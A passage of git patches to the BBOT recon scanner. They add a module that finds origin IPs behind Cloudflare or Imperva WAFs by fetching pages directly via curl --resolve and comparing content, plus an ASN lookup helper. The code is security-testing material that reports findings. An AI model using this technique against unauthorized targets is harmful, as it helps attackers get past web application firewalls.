From fefc52acfc73817cb5cdaf0a64d9de943ec9a911 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 1 Aug 2025 15:41:54 -0400 Subject: [PATCH 001/129] waf_bypass initial --- bbot/core/helpers/web/web.py | 41 ++++ bbot/modules/waf_bypass.py | 371 +++++++++++++++++++++++++++++++++++ 2 files changed, 412 insertions(+) create mode 100644 bbot/modules/waf_bypass.py diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index 5e86424049..e9fcdbf2e5 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -2,6 +2,7 @@ import warnings from pathlib import Path from bs4 import BeautifulSoup +import ipaddress from bbot.core.engine import EngineClient from bbot.core.helpers.misc import truncate_filename @@ -426,6 +427,46 @@ async def curl(self, *args, **kwargs): if raw_body: curl_command.append("-d") curl_command.append(raw_body) + + + # --resolve :: + resolve_dict = kwargs.get("resolve", None) + + if resolve_dict is not None: + # Validate "resolve" is a dict + if not isinstance(resolve_dict, dict): + raise CurlError("'resolve' must be a dictionary containing 'host', 'port', and 'ip' keys") + + # Extract and validate IP (required) + ip = resolve_dict.get("ip") + if not ip: + raise CurlError("'resolve' dictionary requires an 'ip' value") + try: + ipaddress.ip_address(ip) + except ValueError: + raise CurlError(f"Invalid IP address supplied to 'resolve': {ip}") + + # Host, port, and ip must ALL be supplied explicitly + host = resolve_dict.get("host") + if not host: + raise CurlError("'resolve' dictionary requires a 'host' value") + + if "port" not in resolve_dict: + raise CurlError("'resolve' dictionary requires a 'port' value") + port = resolve_dict["port"] + + try: + port = int(port) + except (TypeError, ValueError): + raise CurlError("'port' supplied to resolve must be an integer") + if port < 1 or port > 65535: + raise CurlError("'port' supplied to resolve must be between 1 and 65535") + + # Append the --resolve directive + curl_command.append("--resolve") + curl_command.append(f"{host}:{port}:{ip}") + + log.verbose(f"Running curl command: {curl_command}") output = (await self.parent_helper.run(curl_command)).stdout return output diff --git a/bbot/modules/waf_bypass.py b/bbot/modules/waf_bypass.py new file mode 100644 index 0000000000..78b93f7309 --- /dev/null +++ b/bbot/modules/waf_bypass.py @@ -0,0 +1,371 @@ +from bbot.modules.base import BaseModule +from bbot.modules.report.asn import asn +from difflib import SequenceMatcher +import asyncio +from bbot.core.helpers.web.ssl_context import ssl_context_noverify + + +class waf_bypass(BaseModule): + """ + Module to detect WAF bypasses by finding domains not behind CloudFlare + """ + watched_events = ["URL"] + produced_events = ["VULNERABILITY"] + options = {"similarity_threshold": 0.95, "search_ip_neighbors": True} + options_desc = {"similarity_threshold": "Similarity threshold for content matching", "search_ip_neighbors": "Also check IP neighbors of qualified IPs"} + flags = ["active", "safe", "web-thorough"] + meta = { + "description": "Detects potential WAF bypasses", + "author": "@liquidsec", + } + + async def setup(self): + self.asn_helper = asn(self.scan) + # Initialize required ASN attributes + self.asn_helper.sources = ["bgpview", "ripe"] + self.asn_helper.asn_counts = {} + self.asn_helper.asn_cache = {} + self.asn_helper.ripe_cache = {} + + # Track protected domains and their potential bypass CIDRs + self.protected_domains = {} # {domain: event} - store events for protected domains + self.bypass_candidates = {} # {base_domain: set(cidrs)} + self.domain_ips = {} # {full_domain: set(ips)} + self.content_fingerprints = {} # {full_url: fingerprint} store content samples for comparison + self.similarity_threshold = self.config.get("similarity_threshold", 0.95) + self.search_ip_neighbors = self.config.get("search_ip_neighbors", True) + # Keep track of (protected_domain, ip) pairs we have already attempted to bypass + self.attempted_bypass_pairs = set() + # Keep track of any IPs that came from hosts that are "cloud-ips" + self.cloud_ips = set() + return True + + def get_content_fingerprint(self, content): + """Extract a representative fingerprint from content""" + if not content: + return None + + # Take 3 samples of 500 chars each from start, middle and end + # This gives us enough context for comparison while reducing storage + content_len = len(content) + if content_len <= 1500: + return content # If content is small enough, just return it all + + start = content[:500] + mid_start = max(0, (content_len // 2) - 250) + middle = content[mid_start:mid_start + 500] + end = content[-500:] + + return start + middle + end + + def get_content_similarity(self, fingerprint1, fingerprint2): + """Get similarity ratio between two content fingerprints""" + if not fingerprint1 or not fingerprint2: + return 0.0 + return SequenceMatcher(None, fingerprint1, fingerprint2).ratio() + + async def get_url_content(self, url, ip=None): + """Helper function to fetch content from a URL, optionally through specific IP""" + try: + if ip: + # Build resolve dict for curl helper + host_tuple = self.helpers.extract_host(url) + if not host_tuple[0]: + self.warning(f"Failed to extract host from URL: {url}") + return None + host = host_tuple[0] + + # Determine port from scheme (default 443/80) or explicit port in URL + try: + from urllib.parse import urlparse + + parsed = urlparse(url) + port = parsed.port or (443 if parsed.scheme == "https" else 80) + except Exception: + port = 443 # safe default for https + + self.debug( + f"Fetching via curl with --resolve {host}:{port}:{ip} for {url}" + ) + + content = await self.helpers.web.curl( + url=url, + resolve={"host": host, "port": port, "ip": ip}, + ) + + if content: + fingerprint = self.get_content_fingerprint(content) + self.debug( + f"Successfully fetched and fingerprinted content from {url} via IP {ip}" + ) + return fingerprint + else: + self.debug(f"curl returned no content for {url} via IP {ip}") + else: + response = await self.helpers.request(url, timeout=10) + if response and response.status_code in [200, 301, 302, 500]: + content = response.text + fingerprint = self.get_content_fingerprint(content) + self.debug( + f"Successfully fetched and fingerprinted content from {url}" + ) + return fingerprint + else: + status = getattr(response, "status_code", "unknown") + self.debug( + f"Failed to fetch content from {url} - Status: {status}" + ) + except Exception as e: + self.debug(f"Error fetching content from {url}: {str(e)}") + return None + + async def handle_event(self, event): + domain = str(event.host) + base_domain = self.helpers.tldextract(domain).top_domain_under_public_suffix + url = str(event.data) + + + + # Store IPs for every domain we see + dns_response = await self.helpers.dns.resolve(domain) + if dns_response: + if domain not in self.domain_ips: + self.domain_ips[domain] = set() + for ip in dns_response: + self.domain_ips[domain].add(str(ip)) + self.debug(f"Mapped domain {domain} to IP {ip}") + if "cloud-ip" in event.tags: + self.cloud_ips.add(str(ip)) + self.debug(f"Added cloud-ip {ip} to cloud_ips") + else: + self.warning(f" DNS resolution for {domain}") + + # Detect WAF/CDN protection based on tags + provider_name = None + if "cdn-cloudflare" in event.tags or "waf-cloudflare" in event.tags: + provider_name = "CloudFlare" + elif "cdn-imperva" in event.tags: + provider_name = "Imperva" + + is_protected = provider_name is not None + + if is_protected: + self.debug(f"{provider_name} protection detected via tags: {event.tags}") + # Save the full domain and event for CloudFlare-protected URLs + self.protected_domains[domain] = event + self.debug(f"Found {provider_name}-protected domain: {domain}") + + # Fetch and store content + content = await self.get_url_content(url) + + if not content: + self.debug(f"Failed to get content from protected URL {url}") + return + + self.content_fingerprints[url] = content + self.debug(f"Stored content fingerprint from {url} (length: {len(content)})") + + # Get CIDRs from the base domain of the protected domain + base_dns = await self.helpers.dns.resolve(base_domain) + if base_dns: + # Skip if base domain has same IPs as protected domain + if set(str(ip) for ip in base_dns) == self.domain_ips.get(domain, set()): + self.debug(f"Base domain {base_domain} has same IPs as protected domain, skipping CIDR collection") + else: + if base_domain not in self.bypass_candidates: + self.bypass_candidates[base_domain] = set() + self.debug(f"Created new CIDR set for {provider_name} base domain: {base_domain}") + + for ip in base_dns: + self.debug(f"Getting ASN info for IP {ip} from {provider_name} base domain {base_domain}") + asns, _ = await self.asn_helper.get_asn(str(ip)) + if asns: + for asn_info in asns: + subnet = asn_info.get('subnet') + if subnet: + self.bypass_candidates[base_domain].add(subnet) + self.debug(f"Added CIDR {subnet} from {provider_name} base domain {base_domain} (ASN{asn_info.get('asn', 'Unknown')} - {asn_info.get('name', 'Unknown')})") + else: + self.warning(f"No ASN info found for IP {ip}") + else: + self.debug(f"WARNING: No DNS resolution for {provider_name} base domain {base_domain}") + + else: + + if "cdn-ip" in event.tags: + self.debug("CDN IP detected, skipping CIDR collection") + return + + # Collect CIDRs for non-CloudFlare domains + if dns_response: + if base_domain not in self.bypass_candidates: + self.bypass_candidates[base_domain] = set() + self.debug(f"Created new CIDR set for base domain: {base_domain}") + + for ip in dns_response: + self.debug(f"Getting ASN info for IP {ip} from non-CloudFlare domain {domain}") + asns, _ = await self.asn_helper.get_asn(str(ip)) + if asns: + for asn_info in asns: + subnet = asn_info.get('subnet') + if subnet: + self.bypass_candidates[base_domain].add(subnet) + self.debug(f"Added CIDR {subnet} from non-CloudFlare domain {domain} (ASN{asn_info.get('asn', 'Unknown')} - {asn_info.get('name', 'Unknown')})") + else: + self.warning(f"No ASN info found for IP {ip}") + + + async def filter_event(self, event): + if "endpoint" in event.tags: + return False, "WAF bypass module only considers directory URLs" + return True + + + async def check_ip(self, idx, ip, source_domain, protected_domain, total_ips): + + matching_url = next((url for url in self.content_fingerprints.keys() if protected_domain in url), None) + if not matching_url: + self.debug(f"No matching URL found for {protected_domain} in stored fingerprints") + return None + + original_fingerprint = self.content_fingerprints.get(matching_url) + if not original_fingerprint: + self.debug(f"No original fingerprint for {matching_url}") + return None + + self.verbose( + f"Bypass attempt ({idx}/{total_ips}) {protected_domain} via {ip} (orig len {len(original_fingerprint)}) from {source_domain}" + ) + + bypass_fp = await self.get_url_content(matching_url, ip) + if not bypass_fp: + self.debug( + f"({idx}/{total_ips}): Failed to get content through IP {ip} for URL {matching_url}" + ) + return None + + similarity_raw = self.get_content_similarity(original_fingerprint, bypass_fp) + similarity = round(similarity_raw, 2) # store with limited precision + return (matching_url, ip, similarity) if similarity_raw >= self.similarity_threshold else None + + async def finish(self): + + + # Show protected domains as single-line debug message + if not self.protected_domains: + self.debug("Protected Domains: None found") + else: + protected_str = ", ".join(sorted(self.protected_domains.keys())) + self.debug(f"Protected Domains: {protected_str}") + + # Show bypass candidates as single-line debug message + if not self.bypass_candidates: + self.debug("Bypass Candidates: None found") + else: + bypass_str = ", ".join( + f"{base_domain}: [{', '.join(sorted(cidrs))}]" for base_domain, cidrs in sorted(self.bypass_candidates.items()) + ) + self.debug(f"Bypass Candidates: {bypass_str}") + + # Show domain to IP mappings as a single-line debug message + if not self.domain_ips: + self.debug("Domain to IP Mappings: None found") + else: + mapping_str = ", ".join( + f"{domain}: [{', '.join(sorted(ips))}]" for domain, ips in sorted(self.domain_ips.items()) + ) + self.debug(f"Domain to IP Mappings: {mapping_str}") + + confirmed_bypasses = [] # [(protected_url, matching_ip, similarity)] + + # First, collect all non-CloudFlare IPs we've seen + all_ips = {} # {ip: domain} + cloudflare_ips = set() + + + # First collect CloudFlare IPs + for protected_domain in self.protected_domains: + if protected_domain in self.domain_ips: + cloudflare_ips.update(self.domain_ips[protected_domain]) + + # Then collect non-CloudFlare IPs + for domain, ips in self.domain_ips.items(): + if domain not in self.protected_domains: # If it's not a protected domain + for ip in ips: + if ip not in cloudflare_ips: # And IP isn't a known CloudFlare IP + all_ips[ip] = domain + self.debug(f"Added potential bypass IP {ip} from domain {domain}") + + # If enabled, explore /28 neighbors within same ASN - skip if IP is a cloud-ip + if self.search_ip_neighbors and ip not in self.cloud_ips: + import ipaddress + orig_asns, _ = await self.asn_helper.get_asn(str(ip)) + if orig_asns: + cidr28 = ipaddress.ip_network(f"{ip}/28", strict=False) + for neighbor_ip in cidr28.hosts(): + n_ip_str = str(neighbor_ip) + if n_ip_str == ip or n_ip_str in cloudflare_ips or n_ip_str in all_ips: + continue + asns_neighbor, _ = await self.asn_helper.get_asn(n_ip_str) + if not asns_neighbor: + continue + # Check if any ASN matches + if any(a['asn'] == b['asn'] for a in orig_asns for b in asns_neighbor): + all_ips[n_ip_str] = domain + self.debug(f"Added Neighbor IP ({ip} -> {n_ip_str}) as potential bypass IP from {domain}") + + + self.debug(f"\nFound {len(all_ips)} non-CloudFlare IPs to check: {all_ips}") + + # For each protected domain with progress display + total_protected = len(self.protected_domains) + total_ips = len(all_ips) + + + tasks = [] + + self.debug(f"attempted_bypass_pairs {len(self.attempted_bypass_pairs)} attempted bypass pairs") + + + for idx, (protected_domain, source_event) in enumerate(self.protected_domains.items(), start=1): + self.debug(f"\nAdding to tasks: {idx}/{total_protected}: {protected_domain}") + + # create tasks for every IP of this protected domain, marking attempts + for ip_idx, (ip, src) in enumerate(all_ips.items(), start=1): + combo = (protected_domain, ip) + if combo in self.attempted_bypass_pairs: + continue + self.attempted_bypass_pairs.add(combo) + tasks.append( + asyncio.create_task( + self.check_ip(ip_idx, ip, src, protected_domain, total_ips) + ) + ) + + self.debug(f"about to start {len(tasks)} tasks") + async for completed in self.helpers.as_completed(tasks): + result = await completed + if result: + confirmed_bypasses.append(result) + + if confirmed_bypasses: + # Aggregate by URL and similarity + agg = {} + for matching_url, ip, similarity in confirmed_bypasses: + rec = agg.setdefault((matching_url, similarity), []) + rec.append(ip) + + for (matching_url, sim_key), ip_list in agg.items(): + ip_list_str = ", ".join(sorted(set(ip_list))) + self.debug( + f"CONFIRMED BYPASS: {matching_url} via IPs [{ip_list_str}] (similarity {sim_key:.2%})" + ) + await self.emit_event( + { + "severity": "MEDIUM", + "url": matching_url, + "description": f"WAF Bypass Confirmed - Direct IPs: {ip_list_str} for {matching_url}. Similarity {sim_key:.2%}", + }, + "VULNERABILITY", + source_event, + ) \ No newline at end of file From 466a2ad81ba3a3517ea8469044a933af14615a8a Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 4 Aug 2025 14:00:00 -0400 Subject: [PATCH 002/129] fixing source event bug --- bbot/modules/waf_bypass.py | 60 +++++++++++++++++++++++++++----------- 1 file changed, 43 insertions(+), 17 deletions(-) diff --git a/bbot/modules/waf_bypass.py b/bbot/modules/waf_bypass.py index 78b93f7309..360da04a27 100644 --- a/bbot/modules/waf_bypass.py +++ b/bbot/modules/waf_bypass.py @@ -11,8 +11,17 @@ class waf_bypass(BaseModule): """ watched_events = ["URL"] produced_events = ["VULNERABILITY"] - options = {"similarity_threshold": 0.95, "search_ip_neighbors": True} - options_desc = {"similarity_threshold": "Similarity threshold for content matching", "search_ip_neighbors": "Also check IP neighbors of qualified IPs"} + options = { + "similarity_threshold": 0.90, + "search_ip_neighbors": True, + "neighbor_cidr": 28, # subnet size to explore when gathering neighbor IPs + } + + options_desc = { + "similarity_threshold": "Similarity threshold for content matching", + "search_ip_neighbors": "Also check IP neighbors of qualified IPs", + "neighbor_cidr": "CIDR mask (24-31) used for neighbor enumeration when search_ip_neighbors is true", + } flags = ["active", "safe", "web-thorough"] meta = { "description": "Detects potential WAF bypasses", @@ -32,8 +41,13 @@ async def setup(self): self.bypass_candidates = {} # {base_domain: set(cidrs)} self.domain_ips = {} # {full_domain: set(ips)} self.content_fingerprints = {} # {full_url: fingerprint} store content samples for comparison - self.similarity_threshold = self.config.get("similarity_threshold", 0.95) + self.similarity_threshold = self.config.get("similarity_threshold", 0.90) self.search_ip_neighbors = self.config.get("search_ip_neighbors", True) + self.neighbor_cidr = int(self.config.get("neighbor_cidr", 28)) + + if self.search_ip_neighbors and not (24 <= self.neighbor_cidr <= 31): + self.warning(f"Invalid neighbor_cidr {self.neighbor_cidr}. Must be between 24 and 31.") + return False # Keep track of (protected_domain, ip) pairs we have already attempted to bypass self.attempted_bypass_pairs = set() # Keep track of any IPs that came from hosts that are "cloud-ips" @@ -221,7 +235,7 @@ async def filter_event(self, event): return True - async def check_ip(self, idx, ip, source_domain, protected_domain, total_ips): + async def check_ip(self, idx, ip, source_domain, protected_domain, total_ips, source_event): matching_url = next((url for url in self.content_fingerprints.keys() if protected_domain in url), None) if not matching_url: @@ -246,7 +260,7 @@ async def check_ip(self, idx, ip, source_domain, protected_domain, total_ips): similarity_raw = self.get_content_similarity(original_fingerprint, bypass_fp) similarity = round(similarity_raw, 2) # store with limited precision - return (matching_url, ip, similarity) if similarity_raw >= self.similarity_threshold else None + return (matching_url, ip, similarity, source_event) if similarity_raw >= self.similarity_threshold else None async def finish(self): @@ -296,23 +310,34 @@ async def finish(self): all_ips[ip] = domain self.debug(f"Added potential bypass IP {ip} from domain {domain}") - # If enabled, explore /28 neighbors within same ASN - skip if IP is a cloud-ip + if self.search_ip_neighbors and ip not in self.cloud_ips: import ipaddress orig_asns, _ = await self.asn_helper.get_asn(str(ip)) if orig_asns: - cidr28 = ipaddress.ip_network(f"{ip}/28", strict=False) - for neighbor_ip in cidr28.hosts(): + self.critical(f"neighbor_cidr: {self.neighbor_cidr}") + neighbor_net = ipaddress.ip_network(f"{ip}/{self.neighbor_cidr}", strict=False) + asn_cache_local = {} + match_count = 0 + for neighbor_ip in neighbor_net.hosts(): n_ip_str = str(neighbor_ip) if n_ip_str == ip or n_ip_str in cloudflare_ips or n_ip_str in all_ips: continue - asns_neighbor, _ = await self.asn_helper.get_asn(n_ip_str) + if n_ip_str in asn_cache_local: + asns_neighbor = asn_cache_local[n_ip_str] + else: + asns_neighbor, _ = await self.asn_helper.get_asn(n_ip_str) + asn_cache_local[n_ip_str] = asns_neighbor if not asns_neighbor: continue - # Check if any ASN matches + if not orig_asns: + continue if any(a['asn'] == b['asn'] for a in orig_asns for b in asns_neighbor): all_ips[n_ip_str] = domain - self.debug(f"Added Neighbor IP ({ip} -> {n_ip_str}) as potential bypass IP from {domain}") + self.critical(f"Added Neighbor IP ({ip} -> {n_ip_str}) as potential bypass IP from {domain}") + match_count += 1 + if match_count >= 3: # configurable + break self.debug(f"\nFound {len(all_ips)} non-CloudFlare IPs to check: {all_ips}") @@ -338,7 +363,7 @@ async def finish(self): self.attempted_bypass_pairs.add(combo) tasks.append( asyncio.create_task( - self.check_ip(ip_idx, ip, src, protected_domain, total_ips) + self.check_ip(ip_idx, ip, src, protected_domain, total_ips, source_event) ) ) @@ -351,11 +376,12 @@ async def finish(self): if confirmed_bypasses: # Aggregate by URL and similarity agg = {} - for matching_url, ip, similarity in confirmed_bypasses: - rec = agg.setdefault((matching_url, similarity), []) - rec.append(ip) + for matching_url, ip, similarity, src_evt in confirmed_bypasses: + rec = agg.setdefault((matching_url, similarity), {"ips": [], "event": src_evt}) + rec["ips"].append(ip) - for (matching_url, sim_key), ip_list in agg.items(): + for (matching_url, sim_key), data in agg.items(): + ip_list = data["ips"] ip_list_str = ", ".join(sorted(set(ip_list))) self.debug( f"CONFIRMED BYPASS: {matching_url} via IPs [{ip_list_str}] (similarity {sim_key:.2%})" @@ -367,5 +393,5 @@ async def finish(self): "description": f"WAF Bypass Confirmed - Direct IPs: {ip_list_str} for {matching_url}. Similarity {sim_key:.2%}", }, "VULNERABILITY", - source_event, + data["event"], ) \ No newline at end of file From 7049bff2cad1281005d66fb3b455870a66b3206d Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 6 Aug 2025 14:39:37 -0400 Subject: [PATCH 003/129] continued development --- bbot/core/helpers/asn.py | 116 ++++++++++++++ bbot/core/helpers/helper.py | 8 + bbot/core/helpers/web/web.py | 2 - bbot/modules/output/stdout.py | 4 + bbot/modules/report/asn.py | 279 ++++++++-------------------------- bbot/modules/waf_bypass.py | 186 ++++++++--------------- 6 files changed, 255 insertions(+), 340 deletions(-) create mode 100644 bbot/core/helpers/asn.py diff --git a/bbot/core/helpers/asn.py b/bbot/core/helpers/asn.py new file mode 100644 index 0000000000..e70ab3aa75 --- /dev/null +++ b/bbot/core/helpers/asn.py @@ -0,0 +1,116 @@ +import ipaddress +import logging +from radixtarget.tree.ip import IPRadixTree + +log = logging.getLogger("bbot.core.helpers.asn") + + +class ASNHelper: + """ + Thin helper for cached ASN queries. + Response format assumed normalised, e.g.: + [ + {"asn": "54113", "subnet": "203.0.113.0/24", + "name": "FASTLY", "description": "Fastly", "country": "US"} + ] + """ + + def __init__(self, parent_helper): + self.parent_helper = parent_helper + # IP radix trees (authoritative store) – IPv4 and IPv6 + self._tree4: IPRadixTree = IPRadixTree() + self._tree6: IPRadixTree = IPRadixTree() + self._prefix_map: dict[str, list] = {} + + # Default record used when no ASN data can be found + UNKNOWN_ASN = { + "asn": "UNKNOWN", + "subnet": "0.0.0.0/32", + "name": "unknown", + "description": "unknown", + "country": "", + } + + async def get(self, ip: str): + """Return ASN info for *ip* using cached subnet ranges where possible.""" + + ip_str = str(ipaddress.ip_address(ip)) + cached = self._cache_lookup(ip_str) + if cached is not None: + log.debug(f"cache HIT for ip: {ip_str}") + return cached or [self.UNKNOWN_ASN] + + log.debug(f"cache MISS for ip: {ip_str}") + asn_data = await self._query_api(ip_str) + if asn_data: + self._cache_prefixes(asn_data) + return asn_data + return [self.UNKNOWN_ASN] + + async def _query_api(self, ip: str): + url = "http://157.230.95.177:9000/v1/ip/{ip}".format( + ip=ip + ) # temporary until theres a proper domain for the API + try: + response = await self.parent_helper.request(url, timeout=15) + if response is None: + log.warning(f"ASN API no response for {ip}") + return None + + status = getattr(response, "status_code", 0) + if status != 200: + log.warning(f"ASN API returned {status} for {ip}") + return None + + try: + raw = response.json() + except Exception as e: + log.warning(f"ASN API JSON decode error for {ip}: {e}") + return None + + if isinstance(raw, dict): + prefixes = raw.get("prefixes") + if isinstance(prefixes, str): + prefixes = [prefixes] + if not prefixes: + prefixes = [f"{ip}/32"] + + rec = { + "asn": str(raw.get("asn", "")), + "prefixes": prefixes, + "name": raw.get("asn_name", ""), + "description": raw.get("org", ""), + "country": raw.get("country", ""), + } + return [rec] + + log.warning(f"ASN API returned unexpected format for {ip}: {raw}") + return None + except Exception as e: + log.warning(f"ASN API request error to url {url} for {ip}: {e}") + return None + + def _cache_prefixes(self, asn_list): + if not (self._tree4 or self._tree6): + return + for rec in asn_list: + prefixes = rec.get("prefixes") or [] + if isinstance(prefixes, str): + prefixes = [prefixes] + for p in prefixes: + try: + net = ipaddress.ip_network(p, strict=False) + except ValueError: + continue + tree = self._tree4 if net.version == 4 else self._tree6 + tree.insert(str(net), data=asn_list) + self._prefix_map[str(net)] = asn_list + log.debug(f"ASN cache ADD {net} -> {asn_list[:1][0].get('asn', '?')}") + + def _cache_lookup(self, ip: str): + ip_obj = ipaddress.ip_address(ip) + tree = self._tree4 if ip_obj.version == 4 else self._tree6 + node = tree.get_node(ip) + if node and getattr(node, "data", None): + return node.data + return None diff --git a/bbot/core/helpers/helper.py b/bbot/core/helpers/helper.py index 776d00df82..13974dd66a 100644 --- a/bbot/core/helpers/helper.py +++ b/bbot/core/helpers/helper.py @@ -6,6 +6,7 @@ from concurrent.futures import ProcessPoolExecutor from . import misc +from .asn import ASNHelper from .dns import DNSHelper from .web import WebHelper from .diff import HttpCompare @@ -89,6 +90,7 @@ def __init__(self, preset): self.yara = YaraHelper(self) self._dns = None self._web = None + self._asn = None self.config_aware_validators = self.validators.Validators(self) self.depsinstaller = DepsInstaller(self) self.word_cloud = WordCloud(self) @@ -106,6 +108,12 @@ def web(self): self._web = WebHelper(self) return self._web + @property + def asn(self): + if self._asn is None: + self._asn = ASNHelper(self) + return self._asn + @property def cloud(self): if self._cloud is None: diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index e9fcdbf2e5..06ac609a02 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -428,7 +428,6 @@ async def curl(self, *args, **kwargs): curl_command.append("-d") curl_command.append(raw_body) - # --resolve :: resolve_dict = kwargs.get("resolve", None) @@ -466,7 +465,6 @@ async def curl(self, *args, **kwargs): curl_command.append("--resolve") curl_command.append(f"{host}:{port}:{ip}") - log.verbose(f"Running curl command: {curl_command}") output = (await self.parent_helper.run(curl_command)).stdout return output diff --git a/bbot/modules/output/stdout.py b/bbot/modules/output/stdout.py index 59a121bd47..11b9550f55 100644 --- a/bbot/modules/output/stdout.py +++ b/bbot/modules/output/stdout.py @@ -38,6 +38,10 @@ async def filter_event(self, event): return True async def handle_event(self, event): + # Strip "prefixes" list from ASN events for stdout + if event.type == "ASN" and isinstance(event.data, dict): + event.data.pop("prefixes", None) + json_mode = "human" if self.text_format == "text" else "json" event_json = event.json(mode=json_mode) if self.show_event_fields: diff --git a/bbot/modules/report/asn.py b/bbot/modules/report/asn.py index 3b3c488d15..7088d6769b 100644 --- a/bbot/modules/report/asn.py +++ b/bbot/modules/report/asn.py @@ -16,16 +16,12 @@ class asn(BaseReportModule): accept_dupes = True async def setup(self): - self.asn_counts = {} - self.asn_cache = {} - self.ripe_cache = {} - self.sources = ["bgpview", "ripe"] self.unknown_asn = { "asn": "UNKNOWN", "subnet": "0.0.0.0/32", "name": "unknown", "description": "unknown", - "country": "", + # "country": "", } return True @@ -38,215 +34,74 @@ async def filter_event(self, event): async def handle_event(self, event): host = event.host - if self.cache_get(host) is False: - asns, source = await self.get_asn(host) - if not asns: - self.cache_put(self.unknown_asn) - else: - for asn in asns: - emails = asn.pop("emails", []) - self.cache_put(asn) - asn_event = self.make_event(asn, "ASN", parent=event) - asn_number = asn.get("asn", "") - asn_desc = asn.get("description", "") - asn_name = asn.get("name", "") - asn_subnet = asn.get("subnet", "") - if not asn_event: - continue - await self.emit_event( - asn_event, - context=f"{{module}} checked {event.data} against {source} API and got {{event.type}}: AS{asn_number} ({asn_name}, {asn_desc}, {asn_subnet})", - ) - for email in emails: - await self.emit_event( - email, - "EMAIL_ADDRESS", - parent=asn_event, - context=f"{{module}} retrieved details for AS{asn_number} and found {{event.type}}: {{event.data}}", - ) + asns = await self.helpers.asn.get(str(host)) - async def report(self): - asn_data = sorted(self.asn_cache.items(), key=lambda x: self.asn_counts[x[0]], reverse=True) - if not asn_data: - return - header = ["ASN", "Subnet", "Host Count", "Name", "Description", "Country"] - table = [] - for subnet, asn in asn_data: - count = self.asn_counts[subnet] - number = asn["asn"] - if number != "UNKNOWN": - number = "AS" + number - name = asn["name"] - country = asn["country"] - description = asn["description"] - table.append([number, str(subnet), f"{count:,}", name, description, country]) - self.log_table(table, header, table_name="asns") + for asn in asns: + # Calculate prefix count + prefixes = asn.get("prefixes", []) + prefix_count = len(prefixes) - def cache_put(self, asn): - asn = dict(asn) - subnet = self.helpers.make_ip_type(asn.pop("subnet")) - self.asn_cache[subnet] = asn - try: - self.asn_counts[subnet] += 1 - except KeyError: - self.asn_counts[subnet] = 1 - - def cache_get(self, ip): - ret = False - for p in self.helpers.ip_network_parents(ip): - try: - self.asn_counts[p] += 1 - if ret is False: - ret = p - except KeyError: - continue - return ret - - async def get_asn(self, ip, retries=1): - """ - Takes in an IP - returns a list of ASNs, e.g.: - [{'asn': '54113', 'subnet': '2606:50c0:8000::/48', 'name': 'FASTLY', 'description': 'Fastly', 'country': 'US', 'emails': []}, {'asn': '54113', 'subnet': '2606:50c0:8000::/46', 'name': 'FASTLY', 'description': 'Fastly', 'country': 'US', 'emails': []}] - """ - for attempt in range(retries + 1): - for i, source in enumerate(list(self.sources)): - get_asn_fn = getattr(self, f"get_asn_{source}") - res = await get_asn_fn(ip) - if res is False: - # demote the current source to lowest priority since it just failed - self.sources.append(self.sources.pop(i)) - self.verbose(f"Failed to contact {source}, retrying") - continue - return res, source - self.warning(f"Error retrieving ASN for {ip}") - return [], "" - - async def get_asn_ripe(self, ip): - url = f"https://stat.ripe.net/data/network-info/data.json?resource={ip}" - response = await self.get_url(url, "ASN") - asns = [] - if response is False: - return False - data = response.get("data", {}) - if not data: - data = {} - prefix = data.get("prefix", "") - asn_numbers = data.get("asns", []) - if not prefix or not asn_numbers: - return [] - if not asn_numbers: - asn_numbers = [] - for number in asn_numbers: - asn = await self.get_asn_metadata_ripe(number) - if asn is False: - return False - asn["subnet"] = prefix - asns.append(asn) - return asns - - async def get_asn_metadata_ripe(self, asn_number): - try: - return self.ripe_cache[asn_number] - except KeyError: - metadata_keys = { - "name": ["ASName", "OrgId"], - "description": ["OrgName", "OrgTechName", "RTechName"], - "country": ["Country"], - } - url = f"https://stat.ripe.net/data/whois/data.json?resource={asn_number}" - response = await self.get_url(url, "ASN Metadata", cache=True) - if response is False: - return False - data = response.get("data", {}) - if not data: - data = {} - records = data.get("records", []) - if not records: - records = [] - emails = set() - asn = {k: "" for k in metadata_keys.keys()} - for record in records: - for item in record: - key = item.get("key", "") - value = item.get("value", "") - for email in await self.helpers.re.extract_emails(value): - emails.add(email.lower()) - if not key: - continue - if value: - for keyname, keyvals in metadata_keys.items(): - if key in keyvals and not asn.get(keyname, ""): - asn[keyname] = value - asn["emails"] = list(emails) - asn["asn"] = str(asn_number) - self.ripe_cache[asn_number] = asn - return asn - - async def get_asn_bgpview(self, ip): - url = f"https://api.bgpview.io/ip/{ip}" - data = await self.get_url(url, "ASN") - asns = [] - asns_tried = set() - if data is False: - return False - data = data.get("data", {}) - prefixes = data.get("prefixes", []) - for prefix in prefixes: - details = prefix.get("asn", {}) - asn = str(details.get("asn", "")) - subnet = prefix.get("prefix", "") - if not (asn or subnet): + # Add new summary field + asn["prefix_count"] = prefix_count + + emails = asn.pop("emails", []) + asn_event = self.make_event(asn, "ASN", parent=event) + if not asn_event: continue - name = details.get("name") or prefix.get("name") or "" - description = details.get("description") or prefix.get("description") or "" - country = details.get("country_code") or prefix.get("country_code") or "" - emails = [] - if asn not in asns_tried: - emails = await self.get_emails_bgpview(asn) - if emails is False: - return False - asns_tried.add(asn) - asns.append( - { - "asn": asn, - "subnet": subnet, - "name": name, - "description": description, - "country": country, - "emails": emails, - } + + asn_number = asn.get("asn", "") + asn_desc = asn.get("description", "") + asn_name = asn.get("name", "") + # asn_subnet = asn.get("subnet", "") + + await self.emit_event( + asn_event, + context=f"{{module}} looked up {event.data} and got {{event.type}}: AS{asn_number} ({asn_name}, {asn_desc}", # , {asn_subnet})", ) - if not asns: - self.debug(f'No results for "{ip}"') - return asns - - async def get_emails_bgpview(self, asn): - contacts = [] - url = f"https://api.bgpview.io/asn/{asn}" - data = await self.get_url(url, "ASN metadata", cache=True) - if data is False: - return False - data = data.get("data", {}) - if not data: - self.debug(f'No results for "{asn}"') + + for email in emails: + await self.emit_event( + email, + "EMAIL_ADDRESS", + parent=asn_event, + context=f"{{module}} retrieved details for AS{asn_number} and found {{event.type}}: {{event.data}}", + ) + + async def report(self): + """Generate an ASN summary table based on the helper's cached prefixes.""" + + prefix_cache = 